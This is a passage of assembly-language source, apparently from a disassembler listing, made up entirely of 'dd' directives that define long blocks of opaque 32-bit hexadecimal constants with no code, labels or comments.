		dd 61511D60h, 18EB9095h, 79EE0F7Eh, 931B7728h, 9B30312Fh
		dd 0E8B90ACBh, 80FC9747h, 9E18ADA5h, 0A4A90F7Ch, 0D6F1820Bh
		dd 8832AF6Ch, 0B50778DCh, 0A256A55Bh, 65377630h, 45F51827h
		dd 10048A4Ch, 94118458h, 6F2C00D2h, 0EAF72FF3h,	0DD658827h
		dd 31BB1C31h, 88BEFC9Ch, 4CAC2514h, 8958682Ah, 5426FDE8h
		dd 3F54CAC1h, 89A4480Dh, 33B2E842h, 8CD82C18h, 10DFB8CFh
		dd 981133B2h, 6702880Bh, 0C5CEB8F9h, 281C251Ch,	22AC423Eh
		dd 0A482184h, 859AB5F8h, 7023423Bh, 859D8D50h, 0B8881E10h
		dd 889121D4h, 0A0220C44h, 0D75D0835h, 0E8086F51h, 1C40FF9h
		dd 846428F6h, 0F8091021h, 488CFC9Dh, 0AC895030h, 1F686C90h
		dd 2660468Ah, 1C34C43Dh, 204092C3h, 30C09D60h, 4061E36Dh
		dd 246F8441h, 73107D10h, 3F0ED91Ah, 0AF0C1158h,	0F1207C30h
		dd 91745203h, 0F8701662h, 100B06C6h, 2129A232h,	948C6889h
		dd 85D099D0h, 0A725E06h, 13504374h, 0A0BC21BFh,	0D0318CE9h
		dd 8AD440B3h, 0A59F90C0h, 3629A0A4h, 0F0A998FEh, 286849B0h
		dd 0B21DE4Ch, 0DC84C91Dh, 38FC8C1Ch, 20E2F541h,	0DFBFB050h
		dd 4810F960h, 7E71AB3h,	14C59678h, 9A308077h, 4009408h
		dd 35B9B6C3h, 1B56F9Bh,	596BC10Bh, 0D14A2628h, 52D4600Ch
		dd 92C32A00h, 6BC5105Eh, 0F5F43EAEh, 0D2074E03h, 0D0A15279h
		dd 0E70C70B7h, 0FAC081Fh, 804F960Bh, 2A539F1Ch,	0E89958CFh
		dd 0B697FB0Bh, 40406488h, 0B79ED40Fh, 4F1F1578h, 0BC0728EFh
		dd 308AF953h, 0ABB986Ch, 0B86BD511h, 4F90401Ch,	0F580C213h
		dd 0B6BD17E5h, 0B42405F8h, 24602425h, 46F94h, 4E6BD411h
		dd 3A59D513h, 670AD299h, 0CB18F558h, 853D800h, 400799F8h
		dd 587712BBh, 2CAAD507h, 0C306B4C1h, 1505C440h,	1520F853h
		dd 38AB76EAh, 4C80F48Fh, 0BCE120F5h, 0C716B51Dh, 0D114A415h
		dd 0AB09C040h, 5C4D3820h, 6201D4ACh, 0BDEA114Eh, 0B6F8405Ah
		dd 25FA0D59h, 3D5A94A5h, 0AA07C04h, 2C004379h, 3194729Bh
		dd 9208F2h, 4799EA05h, 0BA6BD20Ah, 4D133498h, 5D0753h
		dd 284CD50Ch, 58341226h, 0FE984021h, 0B89D65F9h, 5974EA04h
		dd 40C3D010h, 402BC20Ah, 269A03A8h, 6F2005A4h, 0C22041FDh
		dd 21FAB792h, 2621E5ECh, 0C61A7174h, 8909A38h, 0FE570460h
		dd 0BA85A03h, 98B5B6F8h, 0FD5F4406h, 93D59064h,	4FF61240h
		dd 0D4018858h, 0D00C5EB7h, 24268F76h, 0A07D0FAh, 17807CC3h
		dd 7153B1C7h, 0C09B4CD5h, 0B7650600h, 4628D20Bh, 6AD3163Ah
		dd 0D1008C10h, 0BA74C7F7h, 16F84E13h, 637E07C8h, 58354016h
		dd 0A090D6D5h, 653F1418h, 0C1B0D210h, 5AB7C060h, 6358800Ah
		dd 8F6BFB10h, 683E3CF8h, 0BDCFD50Ch, 0C8DEC708h, 0B70EC11Eh
		dd 16309812h, 69937406h, 308FA113h, 0F9075F80h,	8145975h
		dd 909876FBh, 4AADFA04h, 58BE0FF8h, 0B0280B0Ch,	3C9F38D4h
		dd 75AC0940h, 80D36760h, 0C3224F9Ch, 0FC582809h, 4EB83AD4h
		dd 0CEFA1218h, 3FF00074h, 0F912889Ah, 118F6412h, 0D4B5E801h
		dd 0BE367C4h, 1D5CBD90h, 0A0887C05h, 70A4D94h, 60F6B3C7h
		dd 505F0423h, 0F2CB85Ah, 0E381C4C5h, 0F8104DB6h, 0E436DC21h
		dd 2648281Eh, 0C063650Ch, 4C98D300h, 6B58D2F8h,	6FC43AA0h
		dd 16998F28h, 6107C422h, 98B4E08h, 0C42A1658h, 5059E6E4h
		dd 5C09959h, 0D213DA0Ah, 0F92320C0h, 6F10989Bh,	0BD8F69C3h
		dd 45FA1507h, 1120C859h, 482C4BFBh, 6088263Ch, 0D85C990Dh
		dd 0C0033420h, 0C5D55A58h, 42EBBBDh, 7016CD3h, 26DA0B38h
		dd 5020184Dh, 38844D65h, 41EF9AFh, 0AB4D80AFh, 0B69DEAD2h
		dd 0D0D34084h, 0F5435360h, 3A059285h, 0C8A72518h, 5CD02C6Ch
		dd 6843206Bh, 52077ABCh, 63643E2Ah, 0B5D802EBh,	1064E824h
		dd 4C6B15FAh, 345B180Ch, 65041F8h, 0D033BF48h, 75D5954h
		dd 3E0F7320h, 840FB4B0h, 44F04774h, 3B3FFE48h, 53CFB6BEh
		dd 0E8D4CC3Ch, 640F2974h, 60D012B2h, 0B3F8165Ah, 5C70B853h
		dd 3F058C7Eh, 0C0114968h, 0DF24AE90h, 641B2E8h,	18D15060h
		dd 2010B7B0h, 0D20E0D52h, 9E1A4F92h, 0A412B5CBh, 0C8B60F80h
		dd 9899F50Dh, 9A49D468h, 6FF80B14h, 34D42980h, 0BE54B76h
		dd 50EED2ECh, 0BCF03485h, 71055FB5h, 0F16FDE90h, 8FF04008h
		dd 9707F62Bh, 92D42F88h, 661106C7h, 218113B7h, 5964CE0Fh
		dd 0B4202F08h, 0D61D6328h, 26E08C90h, 80109E4Eh, 0BF10D438h
		dd 6F06253Eh, 0E8F5F959h, 6A3FFB04h, 60A8D552h,	92E3D409h
		dd 3DC1C08h, 0BD3F1D5Ch, 60C34801h, 69C70763h, 4F910D0h
		dd 3EF888B6h, 76E0A674h, 4449C4A9h, 0D48C2780h,	3AF8E629h
		dd 0C212876Fh, 0F970BF28h, 510A5269h, 0C8D3DCD5h, 0A012B44Ah
		dd 0F010B5D8h, 11BB0943h, 0E1B1C5h, 0C70FE079h,	0D1539902h
		dd 40485C1Ch, 0A14E6478h, 608528F0h, 0F3A8BDC0h, 287630DCh
		dd 0C84D28FBh, 9A0A63E9h, 0DCA95888h, 6BEE1589h, 92480B60h
		dd 0D446D147h, 0D6054E09h, 0C74405BCh, 64A6F434h, 64F04F4Fh
		dd 3087271Fh, 0B67FC30Bh, 0C275D2FAh, 516C705Dh, 0FF1F01Ah
		dd 0EBBF1828h, 0C013B448h, 6B88C064h, 3F2E19ABh, 9D00FCB7h
		dd 0F747E8D6h, 0EAE40Eh, 0E794959Fh, 0C11E0F7Eh, 31CA9D08h
		dd 159FDBh, 33E03F8Dh, 3D1FC5A7h, 7AC07905h, 0D0E1F7C9h
		dd 3EA51CD9h, 0E4ADD321h, 0FF09EF94h, 0F2048A1Fh, 0D2F40674h
		dd 6025BF07h, 22C70110h, 0B9A37301h, 0C820DCEBh, 83012664h
		dd 7581ED34h, 8BCDA77Bh, 944403Eh, 79F6DE63h, 84200753h
		dd 7D608437h, 99409DB3h, 3F721B08h, 66E09026h, 0B003CDA4h
		dd 684D2231h, 38AEFB41h, 0EEAA5718h, 0AB730D80h, 8840FA51h
		dd 802733D0h, 476857D3h, 0A4A00663h, 0F8046526h, 29D1F524h
		dd 5B8088E8h, 7C48E98Dh, 0A5C40F05h, 1C6240EDh,	0C87909FEh
		dd 97675A00h, 0EA93ACh,	2CA2F349h, 6B2277C6h, 9C802563h
		dd 92610023h, 99E221C9h, 0A3637CD7h, 3AC72EA1h,	4EC07310h
		dd 0B8DA5A0Ah, 4901C0BBh, 808D9F81h, 82F0FC57h,	12EF7466h
		dd 4003BE1Ah, 0B5A52924h, 5D03D7E8h, 0AD8822C9h, 3FA3C8h
		dd 0B5BD4F21h, 93F91DD8h, 789180E7h, 0D1CEAA3Eh, 0A4621D76h
		dd 0EBEEC12Ch, 5F98C593h, 559BC4A4h, 0A2C9116Ah, 6DD9D87h
		dd 1D28F8E0h, 501B88FDh
		dd 12496777h, 2B9C1810h, 98392168h, 0AB77A9E8h,	0E20A8101h
		dd 2D3AEE20h, 1C4C89CDh, 0A8E803Fh, 6460229Fh, 0FD5C4E60h
		dd 0C17C8h, 338FC035h, 298BB9E4h, 0C5DD4E03h, 0A2A6FE1Ah
		dd 71DC804Fh, 0D430A36Ah, 91119860h, 0F06218EFh, 88D82CC8h
		dd 792435F8h, 0A21574B8h, 0AC5D8494h, 0CD941761h, 4F4D00D2h
		dd 50150367h, 0EA95D9A8h, 0A36F390Ah, 1E1ED4DFh, 0C8374409h
		dd 0EBD42Ch, 0FA73A4C9h, 0E26BF334h, 21EC08CCh,	7C9F42Fh
		dd 63804DEDh, 0AD5BD1E1h, 0F21022FFh, 0F7618E6h, 78644082h
		dd 0D01183FAh, 8490ABE8h, 200831A2h, 8CA29B78h,	0BC093C04h
		dd 4890259Ch, 2284E06h,	936E9F21h, 0CCD6A7E8h, 0E1212C18h
		dd 74280745h, 0E80F64Bh, 43BE5283h, 0CEBC3080h,	0EF6AE909h
		dd 0A7B83024h, 0D7EE08B5h, 564C8ADh, 0B5BF4940h, 1C14D00Fh
		dd 50907C8Fh, 8124EC14h, 980244E9h, 81083767h, 8C956094h
		dd 0F8D040D7h, 0A4554DB3h, 2178B10Fh, 39D68060h, 10B7E770h
		dd 0DC369324h, 475C47C1h, 0F35DB0E1h, 0E60F5504h, 20C4B334h
		dd 955BAB7Bh, 60CD6002h, 4EF6F56h, 0FA4978C7h, 30C31524h
		dd 704A8CECh, 0FF010F0h, 82404F68h, 60EB3E2Eh, 60A36C54h
		dd 9289D132h, 35F2AAE4h, 4630DA60h, 60EF4756h, 0F3E603Ah
		dd 0B612E8B9h, 445FD131h, 23AF4204h, 99CD01C0h,	1849EEA9h
		dd 80D73CA5h, 0F318F4B1h, 8F31E830h, 4D650127h,	15021456h
		dd 0B00C6E6Eh, 0B221EBh, 7852651Fh, 43FD89DDh, 585C9F01h
		dd 5B8D6F5Ah, 57BF888Bh, 0BA0BB810h, 7E004D7Dh,	157C7BA1h
		dd 28803E8Fh, 1C881B0Ch, 2C376FF0h, 992846B8h, 953D8C5h
		dd 90A8D828h, 27346A8h,	7043C9ECh, 10D831F2h, 4C9F436h
		dd 0F89D19C8h, 2D7F8143h, 0F0F85089h, 0AE03B604h, 0E9937049h
		dd 0DA180AF1h, 0C1940B80h, 3ED9904Fh, 0B1C3FC00h, 364ECEh
		dd 3AE08453h, 0A7099A78h, 8C39E92Ch, 159BFD08h,	94948C68h
		dd 4201B823h, 4E9F2D28h, 0E5882A18h, 0E287A79h,	10DCA642h
		dd 783267Fh, 55C1D1C0h,	254C8276h, 8B5A030h, 0C8A5D7EDh
		dd 4A400D64h, 0FDF6B5B8h, 0E8B75800h, 7A1F8030h, 336C12D1h
		dd 73340105h, 0ADEE2193h, 11C0C6C0h, 2D7D930h, 0F33FF609h
		dd 0F03C4B32h, 0C6FAEEBh, 0DADB0A2Bh, 6CB08130h, 30D2F440h
		dd 0F519D77Ch, 7EF998Bh, 0D4D6CE1h, 0A7F17889h,	8803ACFAh
		dd 55BF4F3Eh, 0DE59E2B5h, 0F4309610h, 0E104B39Ch, 57256A1Ch
		dd 6C062480h, 0FD8D00E6h, 50E09D0Ah, 5360776Fh,	8C4A7A0h
		dd 991B1F01h, 5C030C2Eh, 8800E018h, 53EC9C3h, 0B88CA2EDh
		dd 0E61C0EFh, 914C952Fh, 0A6723400h, 80CBDACCh,	733F18C6h
		dd 8417407Dh, 46846C59h, 26273EF4h, 0C489A858h,	686C02A4h
		dd 55D407E3h, 2238AD30h, 1A17E39h, 86833FD8h, 0C4E65350h
		dd 0E0217CEh, 0D18B22BEh, 0E15CA72Fh, 441CC08Fh, 117ED6A5h
		dd 17EFDDD9h, 0C256FD4h, 18686070h, 7A4801A1h, 0BB7CD1EDh
		dd 0BC842D9h, 4D0D586Ch, 0B808E540h, 30BF5842h,	2C112841h
		dd 2E88569Fh, 2878E680h, 31AA8CDAh, 88F84A63h, 0EA3601D0h
		dd 5AD69980h, 564A1FE4h, 0F08CC85Eh, 0D8F0008Fh, 0D9B12C4Bh
		dd 832C763Fh, 7A85F8BEh, 0ECE8EF41h, 0DD5D7EC2h, 7D3D2046h
		dd 4A98AF5Bh, 6DEC40F4h, 30D08199h, 68C0D8A4h, 8211B4Eh
		dd 22C9BF9h, 78261F5Ch,	0A0C99033h, 229A4673h, 0F72B07DAh
		dd 77B717C9h, 305097B1h, 0D3775213h, 9F83E4Dh, 91D994A5h
		dd 2118F1B4h, 56476508h, 40E6C404h, 716519ACh, 0BF1C0C72h
		dd 21D0EF92h, 0B49CFD48h, 9C5D0C85h, 98A4C6CAh,	20E7400Fh
		dd 536F579Ah, 44CC9A5Dh, 50010E3Ah, 2D83F0D4h, 2FC0091Fh
		dd 89C10561h, 74B68A98h, 885C8ECCh, 53E2C32Ch, 0ACD66980h
		dd 0B4515500h, 32788F7h, 0DEB004ECh, 80967E8Eh,	0CAA26C4Ch
		dd 3017189Bh, 2E864B4h,	5DC31127h, 7C900F5Ah, 840D893h
		dd 12000AEh, 99CF95C0h,	6805FE3Fh, 0EAC53A1Eh, 0F82881Ch
		dd 6415776Ah, 0FF0D2070h, 10D06858h, 0E86207D7h, 4C189D42h
		dd 9F270828h, 31648CBEh, 287BE341h, 69BC43Bh, 0CACCAE58h
		dd 0F611F84Ah, 42652C81h, 0FD31D256h, 6524AF10h, 228BAB13h
		dd 80E3F009h, 80B1E164h, 5D607F8h, 53136068h, 81162B69h
		dd 4CF430C6h, 0BF0B1CA1h, 7C00B853h, 0D1BCFFDFh, 1B0234FCh
		dd 72D4424Ah, 98C72426h, 0A32673A4h, 6980F8CDh,	8B5E41D4h
		dd 215F131Ch, 91102971h, 296F7D8h, 3456412Eh, 10836C91h
		dd 7C651BAEh, 0DC91045Eh, 0C4B936D8h, 0DFD082D8h, 2020FCC6h
		dd 0B4F04ECh, 80BF179Dh, 0A313EFFCh, 506FEE09h,	0B2D830C2h
		dd 0B03F0A1Ch, 8DC735Ah, 40609CBEh, 469F2328h, 2C229Eh
		dd 42287FE7h, 0F8A6CF2Dh, 0F2B7848h, 0CB335468h, 74E07A93h
		dd 265DF6ADh, 0C2FCCFABh, 0B8648ED9h, 0DF775617h, 81945451h
		dd 3174750h, 6801FC72h,	0D357C5A3h, 0C4F09201h,	143A20C5h
		dd 8A018323h, 724F6750h, 0B3819072h, 2409A3D3h,	61B0B170h
		dd 4FA2541Ch, 0C46C6445h, 50BF6444h, 0CEF03940h, 680F4113h
		dd 0E1D2A538h, 8EDC74C5h, 0C4A0377Fh, 3C08163Ah, 0B5A6C31Bh
		dd 1895D7D1h, 0BE48883Fh, 23FAB502h, 48DA931Ah,	3E165FDCh
		dd 48EB3CBh, 7542CA46h,	908E4066h, 5047C769h, 3A60E164h
		dd 0EC004B39h, 0A606259Eh, 91AA87E5h, 0C81749D0h, 9DE111h
		dd 0D8C568FBh, 0D92CC98Ah, 9F03DAADh, 0DA5CDDh,	0DC49B7B0h
		dd 4D7D289Eh, 976B2096h, 80E7915Ch, 0FA407BF0h,	6DD804A1h
		dd 0B078CDECh, 3CB9D3C8h, 121C0549h, 223D001h, 0F022285Fh
		dd 18F9C910h, 7ED1D530h, 9B6800B3h, 1128CD21h, 3C3E8096h
		dd 0A65102FCh, 0FE8EA3ADh, 0E9C542D0h, 8B725800h, 48608215h
		dd 1F84EA29h, 1F344CE4h, 47F113D5h, 0CC3679E4h,	7E00E2D1h
		dd 812F6A58h, 45BA39h, 0C61B71BCh, 1E2DF005h, 0C0FC274Ch
		dd 7CE0193Ah, 5C4F4A8h,	8BD5EF6Ah, 0CC0F80Dh, 59E93673h
		dd 769401DBh, 62A51411h, 6FB440A4h, 0C302A16Eh,	0DF5FC402h
		dd 27607829h, 708E50ADh, 8237782h, 80264064h, 0F04470D3h
		dd 40652260h, 0D4FC562Ch, 1AAD70h, 0E7FD8465h, 0F3FA468Fh
		dd 0D50D5B10h, 81C46B1Ch, 9F3A9BBFh, 0C3BC30E1h, 0C9107F42h
		dd 7CEE09D7h, 0C5141AABh, 60DFC444h, 1A7F5C7h, 0CC13937h
		dd 30A8519Eh, 28CBD8Ch,	9F222847h, 2D199366h, 288D0014h
		dd 1C3344CCh, 0ACD00300h, 0C9A70B41h, 3E0C5BDFh, 692E5164h
		dd 429BEC64h, 89F1E021h, 0A85213F9h, 0B66820BEh, 1600978Ch
		dd 9EC35F82h, 23C09E6h,	7FA55D47h, 70E5CEE9h, 4656742Eh
		dd 9E64022Dh, 0E09A3F88h, 1B7FB6h, 0B13B8FC0h, 0ABB7418Ah
		dd 7A12511Dh, 61F26E82h, 8AC85130h, 9CE0F036h, 2BB480E4h
		dd 0EA31DA25h, 79413A00h, 6993BB1Dh, 4AF8B98Fh,	0DB6109BCh
		dd 0DA9C7449h, 13CDA868h, 0CB47931Ch, 48EC81C0h, 6401C6Ah
		dd 3754D1FDh, 21064006h, 4B5A77F6h, 10F09011h, 12DEC54Dh
		dd 5042FF7Ch, 498526A9h, 0CC2231FCh, 55253C0Fh,	908DBA00h
		dd 4712567Ch, 0A40E775Fh, 80A7C0EFh, 7FA4A55Bh,	0E3A89282h
		dd 65082E18h, 401C5644h, 0BCC18A69h, 0ED864503h, 80C282EAh
		dd 0E2FA3Fh, 849DB91Ah,	0DAF04601h, 47A4BD03h, 7B73353h
		dd 0BFB9AF30h, 24404C80h, 0AE4A161Fh, 0CE6C4680h, 3BB6BDh
		dd 0A28942C8h, 731ACF47h, 0B12E4903h, 0A08A2D3Dh, 8874C8B9h
		dd 717858CFh, 30879633h
		dd 3B191F85h, 7042DB9Ah, 94B5C5C0h, 0E2C2E906h,	0C4A0BA6Ah
		dd 202AC888h, 74B21B4Ah, 6BA60725h, 0E03F4B07h,	3EBCB169h
		dd 0F1FE0930h, 18542BB8h, 50AEB779h, 22848F0Ah,	4D0D62C9h
		dd 0B85F172Ch, 5042D0F4h, 1BCB84A9h, 18568F32h,	0E274517Fh
		dd 0BD773918h, 109C11h,	2137EAC7h, 92FB36Ah, 21A708CCh
		dd 0C71800F3h, 6350E2D9h, 0FC0CB140h, 88B2FEFAh, 8A390011h
		dd 0C6F3025h, 7D289FD5h, 2820C049h, 0C4CE0748h,	716FE891h
		dd 0B390C30Ah, 0A0F591C1h, 0C1AE6E18h, 82EBCF11h, 41DCE942h
		dd 9BF430FCh, 0B821AB08h, 1C2082E3h, 80A095CFh,	0D84EC0E7h
		dd 0B1C1B175h, 0C5B2C8A4h, 310EB3CCh, 3219AC78h, 0C58D875h
		dd 43E72E00h, 0EDB506A8h, 5CB90163h, 6E14E939h,	2C698799h
		dd 9C108AFBh, 1CFC692h,	0CE856DC0h, 0E0277E70h,	0B05E973h
		dd 0ABF14B06h, 0A4C7DC32h, 0E960166Ch, 18233C82h, 9A711CCh
		dd 82E1F2h, 70AE371Dh, 0B9BB6078h, 0F8937276h, 5A109600h
		dd 58F00C8Ch, 3EC21437h, 0A480A40Bh, 9C6AC86Eh,	0B04BFCA0h
		dd 698C3B12h, 45D1C00h,	9A250E5h, 43EB1B08h, 0F8490801h
		dd 3050C7BAh, 0C00A868Ch, 0D095450Ah, 0C2716021h, 0BA3DC19h
		dd 7D9CC004h, 0BC005457h, 32858FC4h, 97871E00h,	0C6D9AC4Ch
		dd 12A33ED2h, 25CB3B00h, 0EFA07248h, 50AFB230h,	60DCE20Fh
		dd 18AAE177h, 97F4213Fh, 0D2E64F03h, 0C7228032h, 3C26C00Fh
		dd 6E243316h, 0D181F067h, 8E58972Ah, 0F5F837E8h, 0D8C8768Ch
		dd 82E7C014h, 0FC46183Eh, 0F014C422h, 3DFA82DFh, 266E3ED2h
		dd 1305204Dh, 242017BDh, 233D82E6h, 0A511C418h,	82DEF100h
		dd 88071B14h, 4FB4D214h, 0A3B710B8h, 0FC184448h, 2815C065h
		dd 0DDECAF13h, 0E7665C20h, 0CD0D017Dh, 54990F1h, 7E0898F2h
		dd 0FF4621h, 0C3C65F7Dh, 986EA0A4h, 0B40179C0h,	285CB00Bh
		dd 1F92C5CFh, 669EC83Ch, 1C360F60h, 0D3978140h,	0D279FAAEh
		dd 0FF909B64h, 3996DC81h, 0A21A18D7h, 773018BBh, 87329903h
		dd 0B0CBC2EBh, 509AC837h, 1457B0A7h, 0BC68D31Ch, 0EE3A3448h
		dd 0F512B0A0h, 8C495BBDh, 294925Dh, 41B57CE4h, 6888ECA0h
		dd 1803B466h, 1D9E9133h, 300A8798h, 0C6E4F281h,	71603D1Fh
		dd 0B182DA4Dh, 58EAC88Ah, 30D021A0h, 9B476920h,	6C8A8409h
		dd 0E83C90DCh, 0C8990FC4h, 44634679h, 790B4EF9h, 22766CCCh
		dd 0A00BC21Ch, 751DDF0h, 8A111495h, 0D0614C03h,	17426504h
		dd 0EBE6005Bh, 0ED2F3FCh, 0D34BC4B0h, 821F09Ch,	0F7E86E39h
		dd 0A802B37Dh, 3A9A2FAEh, 1442147h, 8806FBBBh, 6BAC2316h
		dd 33FA71D0h, 8A189A5Eh, 77F4E7h, 5B710525h, 0E0090102h
		dd 7826B245h, 23F43382h, 0C70E013Bh, 0E3137E8h,	0C716F100h
		dd 0CEEE5191h, 68A44126h, 1118AD11h, 68624446h,	0CED8AC50h
		dd 888FFA15h, 0DAFC0B48h, 2F78208Ah, 4829E87Eh,	562210AFh
		dd 46646CA0h, 4D11F1C0h, 71780898h, 0C10CFE48h,	0AAECCE20h
		dd 0A2C09459h, 10F44CE4h, 20508E26h, 0EAF91474h, 6A9DFCA5h
		dd 0D29480C8h, 45FF8090h, 0AF36D818h, 2642A378h, 9D084D67h
		dd 0D9910F0h, 0E8498607h, 0DC32AFE9h, 0F4031523h, 0A4183F82h
		dd 0EF20C362h, 2F682ECh, 5303762Dh, 5723C632h, 2E90248h
		dd 834F6CD6h, 0F53D7840h, 1A62F80h, 0ACC534Ah, 23DC7DA3h
		dd 40720050h, 260D1622h, 0CD250687h, 0C09B6732h, 60D60903h
		dd 0EE2498BEh, 28EC07B0h, 4B29C771h, 0AB91F01Dh, 0A4235F80h
		dd 783AB983h, 47E8141Ch, 0B6CA14E8h, 10C490BCh,	149EB386h
		dd 9C04D08Dh, 209E0AD1h, 5562CEADh, 0B060B847h,	358640A7h
		dd 500A1127h, 0F9ED48C8h, 235E652Eh, 0F04502D0h, 2039B286h
		dd 1FCD1BFh, 3BF414C1h,	0A49E6FF8h, 46749858h, 0B0640078h
		dd 6E2AE3B5h, 13F09839h, 1DD368B6h, 9B29CCCCh, 89313D1h
		dd 3982F201h, 5C0EE418h, 14D90250h, 6451DC3Bh, 30CC7848h
		dd 4410531Ch, 9F52D6D1h, 8AC1898h, 60A2D8E8h, 8C06F8B7h
		dd 0A26FCF8h, 188B606Ah, 44E8122Bh, 714099A4h, 39318A6h
		dd 0D1EBD473h, 4C907CE8h, 0F0DF784Ah, 0D65D69B0h, 1C08B815h
		dd 48A5B5Fh, 833C7E46h,	80C694B4h, 76A0E8B0h, 0FF482AA5h
		dd 1362338h, 37E5C70Dh,	80343309h, 1DC715FCh, 90643F69h
		dd 0D944F902h, 88909A96h, 0AF7102FCh, 0DB3E08A0h, 44E27B14h
		dd 1E323F4h, 0CD107DECh, 8B7418F9h, 0B57E04C8h,	78A4562Eh
		dd 1F86C309h, 80741118h, 0C59B189Ah, 0BE2A26C0h, 73C7422Ch
		dd 2425EC00h, 8B5E1D30h, 0C2700138h, 0ECEFBF2Ch, 9EFA113Dh
		dd 57CC9509h, 3E442196h, 0B032B30Ah, 0E0933007h, 0CE857037h
		dd 7C60BF4Ah, 0EF03D58h, 8670C0B0h, 0E2C2B824h,	0A4B897B8h
		dd 364CC00Ch, 4ADF38FEh, 584137Bh, 181D4A0h, 0E802C0D8h
		dd 6D846413h, 2E3E0A03h, 17B880Bh, 0C21A4520h, 4EDE12ECh
		dd 1ADB1120h, 9C791680h, 965992D9h, 4C702458h, 88600216h
		dd 10E96E43h, 0C8D323FCh, 3B06804Ah, 623EAC6Eh,	98413F00h
		dd 0B942E336h, 0A33212C4h, 4068C569h, 0EE24031Ch, 0A91E5146h
		dd 100D888Dh, 5C73A076h, 9C50F44Ch, 10A158DFh, 1A26D84h
		dd 4332D115h, 0EC12B42Ch, 0C5E0C05Dh, 7F4B429Ch, 80FD941Dh
		dd 0C871951Ah, 96A4BA2Ah, 82EE40F4h, 0C6574875h, 0A9F78440h
		dd 0B56DC820h, 3562A380h, 4686063h, 0BB66F8h, 7AC06F4Fh
		dd 98654CCFh, 28895F10h, 60C5B836h, 0C00746C6h,	4D923E11h
		dd 0E1664324h, 6892AA5Fh, 42456B0h, 57D3410h, 0E094A368h
		dd 32B3A480h, 33720988h, 44A85044h, 30DC9FC4h, 6BC1B8E1h
		dd 558EA204h, 61C0A18Ch, 13E2C528h, 929B52F0h, 6D23663Ch
		dd 78797D95h, 8CF70141h, 1E06B951h, 9E5420FFh, 771C4654h
		dd 6994808Ah, 5D76CD4Ah, 370490ECh, 0D798CED8h,	53FFA1FCh
		dd 22AC2D2Eh, 449A1892h, 5525B93Fh, 1CB34C2Ch, 0D6DC2F87h
		dd 0ED083D33h, 9854BC05h, 4C88D4CFh, 0F783D5C0h, 3DAB07AAh
		dd 0D43B1836h, 85C0D24Dh, 0A8799059h, 9A042218h, 6D6204FDh
		dd 77059CC0h, 0C4091ACDh, 4C4710A7h, 5E608144h,	43FA1E63h
		dd 85FCB300h, 3B164D6Ch, 404C5984h, 9DD6FA09h, 506AAC49h
		dd 1ED1628Ch, 4CB4BE4Dh, 0F8082EB4h, 9504ACC4h,	175814ABh
		dd 0E422BAC6h, 0E95490DEh, 0CD0F087Dh, 516F9121h, 7E014402h
		dd 81C03DA7h, 0D0A33884h, 8C406CD2h, 0FD0CFAF3h, 317BDCDEh
		dd 8FC6003Ah, 6CEA8056h, 310FE16Ah, 0E081C06Eh,	2BA4423Bh
		dd 3C972492h, 50940878h, 5AD97402h, 977484A6h, 63EBC90h
		dd 0A6CA0B2h, 8032642Fh, 1010540Ch, 38C064FDh, 3BFCF26Eh
		dd 0E428D34Ah, 6E300003h, 90E7F0C9h, 2202C425h,	0A6D037FFh
		dd 620CC8C1h, 9C9F505Eh, 72C73407h, 71C41450h, 811A060h
		dd 0A8C65FB8h, 13C16A28h, 22A812D1h, 3E20861Ch,	7EC58E3h
		dd 4A1EB1C5h, 0C077B4F8h, 23889D10h, 40326430h,	529AD2FCh
		dd 0DB228090h, 6E28FA7Ch, 0E7422C8Fh, 20A3D127h, 5EC87E30h
		dd 151EB85Dh, 96CA80CFh, 2A7649Ch, 92B26BE4h, 1C348364h
		dd 0A810775h, 0CB9B568Ch, 268050B7h, 581F72FFh,	91970F25h
		dd 340067DCh, 0CC331BEDh, 87DB5CA0h, 0BCC4EC00h, 4E5E8BB9h
		dd 30567D16h, 0B0817FDAh, 87681C2Bh, 0C5495898h, 60A6E400h
		dd 0ADBB15h, 0E81D390Ch, 32780617h, 8390F0C8h, 11E112FEh
		dd 600BB499h, 9CAA0434h, 0AB4490C7h, 6C7C2760h,	488BA38h
		dd 8EB722A7h, 8CEA0CF0h
		dd 0B7DE504h, 0BC8E01CDh, 80FD401Dh, 4A5FAC2Ch,	1816429Ah
		dd 5C51CC03h, 188A8998h, 22E2FA24h, 3149DEAh, 89F07E58h
		dd 118AB37h, 9CD2BC58h,	5CEF5860h, 5043AC78h, 90DA0078h
		dd 0AD410D8Fh, 79304BA2h, 5AED089Dh, 0B44704CEh, 82138FA8h
		dd 0A5C01B37h, 0FAF8C3C6h, 0D2C15A00h, 49B67BE6h, 84F841h
		dd 0FE5CA258h, 76AAFA5Dh, 0CE284460h, 7D19B267h, 7EBF0C06h
		dd 4C09C6C2h, 0AA0721C0h, 96A419h, 0C6E45336h, 0C3CB0951h
		dd 0AB899DE3h, 0DA463C80h, 10C062h, 0A1700E17h,	0F2B75CDDh
		dd 0F853BA20h, 63A020EEh, 7EFE5A01h, 0F89D682Fh, 46ADC083h
		dd 390CD2DEh, 61F4C0CBh, 70C11D98h, 80DB0017h, 1535B595h
		dd 60E19900h, 3256FCC0h, 0F89F3EADh, 0A666367Dh, 0A946E888h
		dd 719B302h, 5331B7FEh,	19AB0410h, 0B00111E8h, 0AA6657E6h
		dd 0A8914650h, 0C2A21E13h, 0F2493070h, 0D840602Ah, 0A0EBDE45h
		dd 0DA57B8C7h, 0AA9DBCFAh, 7A3680BAh, 7EC2372Fh, 485E60C7h
		dd 0D90E34C3h, 6A17A8CFh, 584CDCDAh, 0DC6B52CEh, 17615810h
		dd 0BF18DA5Bh, 295A9C18h, 3E90DFF1h, 0E8F9382h,	144C8541h
		dd 0B9F344h, 59948FABh,	722C24C0h, 0D823C931h, 9C40A8EAh
		dd 0A8495745h, 317D7684h, 4019A51Ah, 0CD5E177Fh, 0AC005057h
		dd 183BCAF9h, 21504544h, 71C3E4DFh, 98FC7F3Ah, 38505E1h
		dd 0F69B8F04h, 0A097D31Ah, 0EA6164D8h, 3246FC0Ch, 69568D7h
		dd 30B8F24Eh, 456C88B4h, 0EA295992h, 0DE650C6Ch, 0A1606E2Dh
		dd 427D0F12h, 56C42441h, 48BBBC0Ah, 0C8CACB8Dh,	0F0940289h
		dd 118F9430h, 88CD4111h, 0ACB880F1h, 0AAC2FA8Fh, 807A5C3Dh
		dd 11B61CD8h, 1D47C07Fh, 2004DEC7h, 8A24E01h, 0C51A44C2h
		dd 0F004E444h, 0BC006B40h, 6454B841h, 0D8306924h, 0AB4648A8h
		dd 0F919B102h, 583187FEh, 19A90610h, 88D9D100h,	0E2BC5770h
